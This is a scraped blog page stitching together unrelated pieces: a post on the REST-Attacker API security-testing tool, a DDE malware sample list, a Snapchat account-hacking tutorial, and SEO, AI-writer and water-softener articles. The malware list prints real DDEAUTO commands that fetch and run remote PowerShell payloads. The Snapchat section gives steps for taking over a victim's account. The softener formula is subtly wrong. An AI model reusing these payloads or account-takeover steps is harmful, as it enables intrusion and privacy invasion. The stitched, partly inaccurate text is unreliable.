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Our previous blog post described the challenges in analyzing REST API implementations. Despite the lack of REST standardization, we learned that similarities between implementations exist and that we can utilize them for tool-based REST security analysis.

This blog post will now look at our own implementation. REST-Attacker is a free software analysis tool specifically built to analyze REST API implementations and their access control measures. Using REST-Attacker as an example, this blog post will discuss how a REST security tool can work and where it can improve or streamline the testing process, especially in terms of automation.

Author

Christoph Heine

Overview

Premise

REST-Attacker was developed as part of a master's thesis at the Chair for Network & Data Security at the Ruhr University Bochum. The primary motivation behind creating REST-Attacker was to evaluate how far we could push automation for REST security analysis. Hence, REST-Attacker provides several automation features such as automated test generation, test execution, and API communication. The tool essentially takes a "lazy tester" approach that tries to minimize the necessary amount of manual interaction as much as possible.

Creating a test run requires an OpenAPI file describing the REST API. Optional configuration, such as authentication credentials, can be provided to access protected API endpoints or run advanced test cases. Based on the API description and configuration, the tool can automatically generate complete test runs and execute them automatically. For this purpose, the current release version provides 32 built-in security test cases for analyzing various security issues and best practices.

How Testing Works

REST-Attacker can be used as a stand-alone CLI tool or as a Python module for integration in your own toolchain. In this blog post, we will mainly focus on running the tool via CLI. If you want to learn more about advanced usage, we recommend you read the docs.

Starting a basic test run looks like this:

python3 -m rest_attacker openapi.json --generate

openapi.json is an OpenAPI file that describes the API we want to test. The --generate flag activates load-time test generation to automatically create a test run. In practice, this means that the tool passes the OpenAPI file to a test generation function of every available test case, which then returns a list of tests for the specific API. After creating the test run, REST-Attacker executes all tests one by one and saves the results.

There's also a second option for run-time test generation using the --propose flag:

python3 -m rest_attacker openapi.json --generate --propose

In comparison to --generate, which creates tests from the OpenAPI description before starting the test run, --propose generates tests during a test run by considering the results of already executed tests. This option can be useful for some test cases where we want to take the responses of the API into account and run a follow-up test based on the observed behavior.

Both test generation methods can significantly speed up testing because they allow the creation of entire test runs without manual input. However, their feasibility often heavily depends on the verbosity and accuracy of the configuration data. Remember that many definitions, such as security requirements, are optional in the OpenAPI format, i.e., services can choose to omit them. API descriptions can also be outdated or contain errors, particularly if they are unofficial user-created versions. Despite all these limitations, an automated generation often works surprisingly well.

If you don't want to use the tool's generators, test runs can also be specified manually. For this purpose, you just pass a list of tests, including their serialized input parameters, via a config file:

python3 -m rest_attacker openapi.json --run example_run.json

Advanced Automation

So far, we have only covered the automation of the test generation. However, what's even more interesting is that we can also automate much of the test execution process in REST-Attacker. The challenging part here is the streamlining of API communication. If you remember our previous blog post, you know that it basically involves these three steps:

Preparing API request parameters
Preparing access control data (handling authentication/authorization)
Sending the request

Since most REST APIs are HTTP-based, step 3. is relatively trivial as any standard HTTP library will do the job. For example, REST-Attacker uses the popular Python requests module for its request backend. Step 1. is part of the test generation process and can be realized by using information from the machine-readable OpenAPI file, which we've already discussed. In the final step, we have to look at the access control (step 2.), which is especially relevant for security testing. Unfortunately, it is a bit more complex.

The problem is generally not that REST APIs use different access control methods. They are either standardized (HTTP Basic Auth, OAuth2) or extremely simple (API keys). Instead, complications often arise from the API-specific configuration and requirements for how these methods should be used and how credentials are integrated into the API request. For example, implementations may decide:

where credentials are located in the HTTP request (e.g., header, query, cookie, ...)
how credentials are encoded/formatted (e.g., Base64 encoding or use of keywords)
whether a combination of methods is required (e.g., API key + OAuth2)
(OAuth2) which authorization flows are supported
(OAuth2) which access scopes are supported
...

Thereby, we cannot rely on an access control method, e.g., OAuth2, being used in the same way across different APIs. Furthermore, a lot of this information cannot be described in the OpenAPI format, so we have to find another solution. In REST-Attacker, we solve this problem with an additional custom configuration for access control. An example can be seen below (unfold it):

{     "schemes": {         "scheme0": {             "type": "header",             "key_id": "authorization",             "payload": "token {0}",             "params": {                 "0": {                     "id": "access_token",                     "from": [                         "token0",                     ]                 }             }         }     },     "creds": {         "client0": {             "type": "oauth2_client",             "description": "OAuth Client",             "client_id": "aabbccddeeff123456789",             "client_secret": "abcdef12345678998765431fedcba",             "redirect_uri": "https://localhost:1234/test/",             "authorization_endpoint": "https://example.com/login/oauth/authorize",             "token_endpoint": "https://example.com/login/oauth/token",             "grants": [                 "code",                 "token"             ],             "scopes": [                 "user"             ],             "flags": []         }     },     "required_always": {         "setting0": [             "scheme0"         ]     },     "required_auth": {},     "users": {         "user0": {             "account_id": "user",             "user_id": "userXYZ",             "owned_resources": {},             "allowed_resources": {},             "sessions": {                 "gbrowser": {                     "type": "browser",                     "exec_path": "/usr/bin/chromium",                     "local_port": "1234"                 }             },             "credentials": [                 "client0"             ]         }     } }

The config file contains everything required for getting access to the API. schemes define location and encoding of credentials in the HTTP request, while credentials contain login credentials for either users or OAuth2 clients. There are also definitions for the required access control schemes for general access to the API (required_always) as well as for user-protected access (required_auth). For the purpose of authorization, we can additionally provide user definitions with session information. The latter can be used to create or access an active user session to retrieve OAuth2 tokens from the service.

Starting REST-Attacker with an access control config is similar as before. Instead of only passing the OpenAPI file, we use a folder that contains all configuration files:

python3 -m rest_attacker cfg/example --generate

REST-Attacker completely handles all access control requirements in the background. Manual intervention is sometimes necessary, e.g., when there's a confirmation page for OAuth2 authorization. However, most of the steps, from selecting the proper access control schemes to retrieving OAuth2 tokens and creating the request payload, are all handled by REST-Attacker.

Interpreting Results

After a test run, REST-Attacker exports the test results to a report file. Every report gives a short summary of the test run and the results for each executed test case. Here you can see an example of a report file (unfold it):

{     "type": "report",     "stats": {         "start": "2022-07-16T14-27-20Z",         "end": "2022-07-16T14-27-25Z",         "planned": 1,         "finished": 1,         "skipped": 0,         "aborted": 0,         "errors": 0,         "analytical_checks": 0,         "security_checks": 1     },     "reports": [         {             "check_id": 0,             "test_type": "security",             "test_case": "https.TestHTTPAvailable",             "status": "finished",             "issue": "security_flaw",             "value": {                 "status_code": 200             },             "curl": "curl -X GET http://api.example.com/user",             "config": {                 "request_info": {                     "url": "http://api.example.com",                     "path": "/user",                     "operation": "get",                     "kwargs": {                         "allow_redirects": false                     }                 },                 "auth_info": {                     "scheme_ids": null,                     "scopes": null,                     "policy": "DEFAULT"                 }             }         }     ] }

Individual test reports contain a basic classification of the detected behavior in the issue parameter and the detailed reasons for this interpretation in the value object. The meaning of the classification depends on the test case ID, which is stored in the test_case parameter. In the example above, the https.TestHTTPAvailable checks if an API endpoint is accessible via plain HTTP without transport security (which is generally considered unsafe). The API response is an HTTP message with status code 200, so REST-Attacker classifies the behavior as a flaw.

By default, reports also contain every test's configuration parameters and can be supplied back to the tool as a manual test run configuration. This is very useful if we want to reproduce a run to see if detected issues have been fixed.

python3 -m rest_attacker openapi.json --run report.json

Conclusion

By now, you should know what REST API tools like REST-Attacker are capable of and how they can automate the testing process. In our next and final blog post, we will take a deeper look at practical testing with the REST-Attacker. To do this, we will present security test categories that are well-suited for tool-based analysis and investigate how we can apply them to test several real-world API implementations.

Acknowledgement

The REST-Attacker project was developed as part of a master's thesis at the Chair of Network & Data Security of the Ruhr University Bochum. I would like to thank my supervisors Louis Jannett, Christian Mainka, Vladislav Mladenov, and Jörg Schwenk for their continued support during the development and review of the project.

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Here are a few samples related to the recent DDE Command execution

DDE Macro-less Command Execution Vulnerability

Download. Email me if you need the password (updated sample pack)

Links updated: Jan 20, 2023

References

Reading:
10/18/2017 InQuest/yara-rules

10/18/2017 Inquest: Microsoft Office DDE Macro-less Command Execution Vulnerability

10/18/2017 Inquest: Microsoft Office DDE Vortex Ransomware Targeting Poland

10/16/2017 https://twitter.com/noottrak/status/919975081828261888

10/14/2017 Inquest: Microsoft Office DDE Freddie Mac Targeted Lure

10/14/2017 Inquest: Microsoft Office DDE SEC OMB Approval Lure

10/12/2017 NViso labs: YARA DDE rules: DDE Command Execution observed in-the-wild

10/11/2017 Talos:Spoofed SEC Emails Distribute Evolved DNSMessenger

10/10/2017 NViso labs: MS Office DDE YARA rules

10/09/2017 Sensepost: Macro-less Code Exec in MSWord

File information

List of available files:
Word documents:
bf38288956449bb120bae525b6632f0294d25593da8938bbe79849d6defed5cb
a1294fce91af3f7e7691f8307d07aebd4636402e4e6a244faac5ac9b36f8428
b68b3f98f78b42ac83e356ad61a4d234fe620217b250b5521587be49958d568
9d67659a41ef45219ac64967b7284dbfc435ee2df1fccf0ba9c7464f03fdc862
7777ccbaaafe4e50f800e659b7ca9bfa58ee7eefe6e4f5e47bc3b38f84e52280
313fc5bd8e1109d35200081e62b7aa33197a6700fc390385929e71aabbc4e065
9fa8f8ccc29c59070c7aac94985f518b67880587ff3bbfabf195a3117853984d
8630169ab9b4587382d4b9a6d17fd1033d69416996093b6c1a2ecca6b0c04184
11a6422ab6da62d7aad4f39bed0580db9409f9606e4fa80890a76c7eabfb1c13
bd61559c7dcae0edef672ea922ea5cf15496d18cc8c1cbebee9533295c2d2ea9

Payload
8c5209671c9d4f0928f1ae253c40ce7515d220186bb4a97cbaf6c25bd3be53cf
2330bf6bf6b5efa346792553d3666c7bc290c98799871f5ff4e7d44d2ab3b28c
316f0552684bd09310fc8a004991c9b7ac200fb2a9a0d34e59b8bbd30b6dc8ea
5d3b34c963002bd46848f5fe4e8b5801da045e821143a9f257cb747c29e4046f
fe72a6b6da83c779787b2102d0e2cfd45323ceab274924ff617eb623437c2669

File details with MD5 hashes:

Word documents:
1. bf38288956449bb120bae525b6632f0294d25593da8938bbe79849d6defed5cb EDGAR_Rules.docx
bcadcf65bcf8940fff6fc776dd56563 ( DDEAUTO c:\\windows\\system32\\cmd.exe "/k powershell -C ;echo \"https://sec.gov/\";IEX((new-object net.webclient).downloadstring('https://pastebin.com/raw/pxSE2TJ1')) ")

2. 1a1294fce91af3f7e7691f8307d07aebd4636402e4e6a244faac5ac9b36f8428 EDGAR_Rules_2017.docx
2c0cfdc5b5653cb3e8b0f8eeef55fc32 ( DDEAUTO c:\\windows\\system32\\cmd.exe "/k powershell -C ;echo \"https://sec.gov/\";IEX((new-object net.webclient).downloadstring('https://trt.doe.louisiana.gov/fonts.txt')) ")

3 4b68b3f98f78b42ac83e356ad61a4d234fe620217b250b5521587be49958d568 SBNG20171010.docx
8be9633d5023699746936a2b073d2d67 (DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://104.131.178.222/s.ps1');powershell -Command $e.

4. 9d67659a41ef45219ac64967b7284dbfc435ee2df1fccf0ba9c7464f03fdc862 Plantilla - InformesFINAL.docx
78f07a1860ae99c093cc80d31b8bef14 ( DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe $e=new-object -com internetexplorer.application; $e.visible=$true; $e.navigate2(' https://i.ytimg.com/vi/ErLLFVf-0Mw/maxresdefault.jpg '); powershell -e $e "

5. 7777ccbaaafe4e50f800e659b7ca9bfa58ee7eefe6e4f5e47bc3b38f84e52280
aee33500f28791f91c278abb3fcdd942 (DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://www.filefactory.com/file/2vxfgfitjqrf/Citibk_MT103_Ref71943.exe');powershell -e_

6. 313fc5bd8e1109d35200081e62b7aa33197a6700fc390385929e71aabbc4e065 Giveaway.docx
507784c0796ffebaef7c6fc53f321cd6 (DDEAUTO "C:\\Programs\\Microsoft\\Office\\MSWord.exe\\..\\..\\..\\..\\windows\\system32\\cmd.exe" "/c regsvr32 /u /n /s /i:\"h\"t\"t\"p://downloads.sixflags-frightfest.com/ticket-ids scrobj.dll" "For Security Reasons")

7. 9fa8f8ccc29c59070c7aac94985f518b67880587ff3bbfabf195a3117853984d Filings_and_Forms.docx
47111e9854db533c328ddbe6e962602a (DDEAUTO "C:\\Programs\\Microsoft\\Office\\MSWord.exe\\..\\..\\..\\..\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -sta -NonI -W Hidden -C $e=(new-object system.net.webclient).downloadstring('http://goo.gl/Gqdihn');powershell.exe -e $e # " "Filings_and_Forms.docx")

8. 8630169ab9b4587382d4b9a6d17fd1033d69416996093b6c1a2ecca6b0c04184 ~WRD0000.tmp
47111e9854db533c328ddbe6e962602a

9. 11a6422ab6da62d7aad4f39bed0580db9409f9606e4fa80890a76c7eabfb1c13 ~WRD0003.tmp
d78ae3b9650328524c3150bef2224460

10. bd61559c7dcae0edef672ea922ea5cf15496d18cc8c1cbebee9533295c2d2ea9 DanePrzesylki17016.doc
5786dbcbe1959b2978e979bf1c5cb450

Payload Powershell

1. 8c5209671c9d4f0928f1ae253c40ce7515d220186bb4a97cbaf6c25bd3be53cf fonts.txt

2 2330bf6bf6b5efa346792553d3666c7bc290c98799871f5ff4e7d44d2ab3b28c - powershell script from hxxp://citycarpark.my/components/com_admintools/mscorier

Payload PE

1. 316f0552684bd09310fc8a004991c9b7ac200fb2a9a0d34e59b8bbd30b6dc8ea Citibk_MT103_Ref71943.exe
3a4d0c6957d8727c0612c37f27480f1e

2. 5d3b34c963002bd46848f5fe4e8b5801da045e821143a9f257cb747c29e4046f FreddieMacPayload
4f3a6e16950b92bf9bd4efe8bbff9a1e

3. fe72a6b6da83c779787b2102d0e2cfd45323ceab274924ff617eb623437c2669 s50.exe Poland payload
09d71f068d2bbca9fac090bde74e762b

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Hackerhubb.blogspot.com

HOW TO HACK SNAPCHAT ACCOUNT BY MAC SPOOFING?

Note: This method will work if SnapChat is created on a phone number.

Here I will show you complete tutorial step by step of hacking the SnapChat account. Just understand each step carefully.

Find out the victim's phone and note down it's Mac address. To get the mac address in Android devices, go to Settings > About Phone > Status > Wifi Mac address. And here you'll see the mac address. Just write it somewhere. We'll use it in the upcoming steps.
As you get the target's mac address, you have to change your phone's mac address with the target's mac address. Perform the steps mentioned in this article on how to spoof mac address in android phones.
Now install SnapChat on your phone and use victim's number while you're creating an account. It'll send a verification code to victim's phone. Just grab the code and enter it here.
Once you do that, it'll set all and you'll get all chats and messages which victims sends or receives.

This method is really a good one but very difficult for the non-technical users. Only use this method if you're technical skills and have time to perform every step carefully. Otherwise, you can hack SnapChat account using Spying app.

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What is Link Building, and Why is It Important for SEO?

Link building is the process of acquiring hyperlinks from other websites to your own website. It's a crucial aspect of search engine optimization (SEO) because search engines like Google use links as a signal of a website's authority and relevance. When authoritative websites link to your content, it sends a signal to search engines that your content is valuable and trustworthy, which can boost your website's rankings in search results.

According to a study by Ahrefs, websites with a high number of backlinks tend to rank higher in search results than those with fewer backlinks.

Link building remains a critical component of SEO strategies in 2024. A recent survey of SEO professionals by Moz found that 95% of respondents consider link building to be a "very important" or "somewhat important" factor for ranking websites. Here are a Linkedin post on how to hire a link building specialist.

Link Building Strategies

Here are some of the most effective link building strategies:

Content Marketing: Create high-quality content that other websites will naturally want to link to. This could include blog posts, infographics, videos, or other types of informative content.

Case Study: A software company increased organic traffic by 25% by publishing a series of in-depth blog posts on industry topics.

Guest Blogging: Write guest posts for other websites in your industry with links back to your own website.

Statistic: A study by Backlinko found that guest blogging can increase website traffic by an average of 20%.

Broken Link Building: Find broken links on other websites in your industry and reach out to the website owners to suggest replacing the broken link with a link to your own relevant content.
Public Relations: Generate positive press coverage and backlinks from reputable news websites and blogs.
Social Media Promotion: Share your content on social media to attract links from other users and websites.
Email Outreach: Reach out to website owners and bloggers directly to ask for links to your content.

Link Building Tools

Several link building tools can help you research backlink opportunities, track your progress, and analyze your backlink profile. Some popular options include:

Ahrefs
SEMrush
Moz
Majestic
BuzzSumo

Benefits of Link Building

Link building can provide several benefits for your website, including:

Increased search rankings
Increased website traffic
Increased brand awareness
Improved credibility and authority
Stronger relationships with other websites in your industry

Challenges of Link Building

Link building can be a challenging and time-consuming process. Some of the common challenges include:

Building high-quality links requires effort and expertise.
It can be difficult to secure links from high-authority websites.
There's a risk of being penalized by search engines for using unethical link building tactics.

Best Practices for Link Building

Here are some best practices for link building:

Focus on quality over quantity. It's better to have a few high-quality links from reputable websites than many low-quality links.
Build relationships with other website owners in your industry.
Diversify your link profile with links from a variety of websites.
Monitor your backlinks regularly for spam or low-quality links.
Avoid spammy or unethical link building tactics.
Always follow Google's Webmaster Guidelines.

Conclusion

Link building is a crucial aspect of SEO and can significantly impact your website's visibility and success in search results. By implementing a strategic and ethical link building plan, you can improve your website's rankings, drive more traffic, and boost your brand awareness.

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What Is Agility Writer?

Agility Writer is an AI-powered writing assistant that helps writers improve their productivity and the quality of their work. Launched in 2020, Agility Writer quickly gained popularity among content writers, bloggers, copywriters, and students. With its user-friendly interface and advanced features, Agility Writer is a valuable tool that can help writers create high-quality content faster and more efficiently.

Key Features of Agility Writer

Agility Writer offers a wide range of features designed to help writers create better content, including:

Real-time Feedback: Get instant feedback on your writing, including suggestions for grammar, spelling, and style.
One-Click Rewrite: Quickly rewrite sentences or paragraphs to improve clarity, conciseness, and tone.
Tone of Voice Suggestions: Choose from a variety of tone of voice suggestions to match your writing to the intended audience.
Plagiarism Checker: Scan your text for plagiarism and get suggestions for how to avoid it.
Collaboration Tools: Collaborate with other writers and editors on shared documents.
Integrations with Other Tools: Easily integrate Agility Writer with your favorite writing tools and platforms.

Benefits of Using Agility Writer

Agility Writer offers several benefits to writers, including:

Improved Writing Quality: Agility Writer's real-time feedback and one-click rewrite features help writers improve the quality and clarity of their writing.
Increased Productivity: Agility Writer's collaboration tools and integrations with other writing tools help writers save time and increase their productivity.
Reduced Errors: Agility Writer's grammar and plagiarism checkers help writers avoid errors and improve the accuracy of their writing.
Enhanced Creativity: Agility Writer's tone of voice suggestions and other creative features help writers explore new ways to express themselves and engage with their audience.

Pricing

Agility Writer offers a variety of pricing plans to suit different needs and budgets:

Free Plan: The free plan includes basic features like grammar and spell checking, as well as a limited number of rewrites and plagiarism checks.
Standard Plan: The standard plan costs $29 per month and includes all the features of the free plan, plus unlimited rewrites, plagiarism checks, and collaboration tools.
Premium Plan: The premium plan costs $49 per month and includes all the features of the standard plan, plus additional features like priority support and access to a team of writing experts.

User Reviews

Agility Writer has received positive reviews from users, with many praising its ease of use, powerful features, and ability to improve writing quality.

"Agility Writer has been a game-changer for me. It's helped me improve my writing skills and save time on editing." - John Smith, Content Writer
"I love Agility Writer's real-time feedback feature. It's like having a writing coach at my fingertips." - Mary Johnson, Blogger
"Agility Writer is the best AI writing assistant I've used. It's helped me write better copy and improve my marketing results." - Tom Brown, Copywriter

How to Use Agility Writer to Improve Your Writing

Getting started with Agility Writer is easy. Simply create an account and start using the web-based editor or download the desktop app. Once you're logged in, you can start writing or upload a document to get feedback.

Agility Writer's real-time feedback feature will highlight errors and suggest improvements as you type. You can also click the "Rewrite" button to quickly generate different versions of your text.

To use Agility Writer's collaboration tools, simply invite other users to join your document. You can then work together in real time, leaving comments and suggestions for each other.

Conclusion

Agility Writer is a powerful AI-powered writing assistant that can help writers improve their productivity and the quality of their work. With its user-friendly interface, advanced features, and affordable pricing, Agility Writer is a valuable tool for writers of all levels.

Whether you're a content writer, blogger, copywriter, or student, Agility Writer can help you write better content faster and more efficiently. Try it today and see the difference it can make in your writing.

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Water hardness can make everyday tasks a hassle. It leaves soap scum on your shower walls, creates stubborn stains on your dishes, and dries out your skin and hair. The solution? A water softener. But with so many options available, figuring out the right size for your home can be tricky.

Grains of Hardness and Grain Capacity: Breaking Down the Essentials

Water hardness is measured in grains per gallon (GPG). The higher the GPG, the harder your water.

Typical hardness levels:
- Soft: 0-3 GPG
- Slightly hard: 3-6 GPG
- Moderately hard: 6-12 GPG
- Hard: 12-18 GPG
- Very hard: 18+ GPG

Water softeners have a grain capacity, which indicates how many grains of hardness they can remove before needing to regenerate.

Factors Affecting Water Softener Size

Several factors influence the size of water softener you need:

Number of people in your household: More people mean more water usage.
Average daily water consumption: This includes showering, laundry, dishwashing, and other water-related activities.
Water hardness level: The higher the hardness, the larger the softener you'll need.

How to Calculate Grain Capacity

Here's a general formula to estimate the grain capacity you need:

Number of people in household x Average daily water usage (gallons) x Water hardness (GPG) x 7 = Grain capacity

Example: A family of four uses 80 gallons of water per day, with a water hardness of 15 GPG.

4 x 80 x 15 x 7 = 33,600 grains

They would need a softener with a grain capacity of at least 33,600.

Common Size Recommendations:

1-2 people: 20,000-30,000 grains
3-4 people: 30,000-40,000 grains
5+ people: 40,000+ grains

Additional Considerations:

Iron content: If your water has high iron levels, you may need a larger softener.
Water usage patterns: If you have periods of high water usage (e.g., frequent guests, laundry days), consider a larger softener.
Space constraints: Ensure you have adequate space for the softener and its brine tank.

Consulting a Professional for Accurate Recommendations

For the most accurate sizing recommendations, consult a water treatment professional. They can test your water hardness and assess your specific needs.

Remember, choosing the right size water softener is essential for ensuring its effectiveness and efficiency. By understanding the factors involved and following these guidelines, you can select the perfect fit for your home.

Sources:

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jueves, 18 de enero de 2024

Automating REST Security Part 2: Tool-based Analysis With REST-Attacker

Author

Overview

Premise

How Testing Works

Advanced Automation

Interpreting Results

Conclusion

Acknowledgement

DDE Command Execution Malware Samples

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